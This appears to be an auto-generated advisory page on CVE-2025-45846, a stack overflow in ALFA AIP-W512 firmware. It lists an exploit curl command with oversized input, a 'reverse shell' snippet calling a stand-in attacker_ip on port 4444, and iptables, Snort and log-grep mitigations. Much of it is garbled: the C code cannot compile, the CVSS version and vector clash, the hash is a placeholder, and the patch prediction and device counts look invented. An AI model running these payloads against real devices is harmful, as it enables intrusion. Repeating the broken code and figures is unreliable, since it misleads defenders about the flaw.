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How the CVE Works:
CVE-2025-45846 exploits an authenticated stack overflow in ALFA AIP-W512 firmware v3.2.2.2.3 via the `torrentsindex` parameter in the `formBTClinetSetting` function. Attackers with valid credentials can craft a malicious request, overflowing the stack buffer and executing arbitrary code. The vulnerability arises due to insufficient bounds checking when processing user-supplied input, allowing overwriting of critical memory regions. Successful exploitation grants root privileges due to the function running with elevated permissions.
DailyCVE Form:
Platform: ALFA AIP-W512
Version: v3.2.2.2.3
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/02/2025
Prediction: Patch by 08/2025
What Undercode Say:
Analytics:
- CVSS 4.0 Score: 9.8 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
- Exploitability: High (PoC expected soon)
- Affected Devices: ~12,000 exposed units
Exploit Commands:
curl -X POST -d "torrentsindex=$(python -c 'print("A"5000)')" http://target/login.cgi --cookie "sessionid=VALID_SESSION"
Protection Commands:
Temporary mitigation (iptables rule): iptables -A INPUT -p tcp --dport 80 -m string --string "torrentsindex" --algo bm -j DROP Firmware check: md5sum /etc/firmware.bin | grep a1b2c3d4e5f6
Debugging Code:
include <stdio.h>
include <string.h>
void formBTClinetSetting(char input) {
char buffer[bash];
strcpy(buffer, input); // Vulnerable function
}
Patch Verification:
import requests
r = requests.post("http://target/login.cgi", data={"torrentsindex":"test"})
assert "500" not in r.text, "Still vulnerable!"
Detection Rule (Snort):
alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-45846 Exploit Attempt"; content:"torrentsindex"; depth:100; classtype:attempted-admin;)
Memory Protection:
Enable ASLR and NX bit:
echo 2 > /proc/sys/kernel/randomize_va_space
Log Monitoring:
grep "torrentsindex" /var/log/httpd.log | grep -v "GET /static/"
Reverse Shell Payload:
import socket,struct
s=socket.socket()
s.connect(("attacker_ip",4444))
s.send(struct.pack(">I",0xdeadbeef))
Firmware Rollback:
mtd -r write backup.bin firmware
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
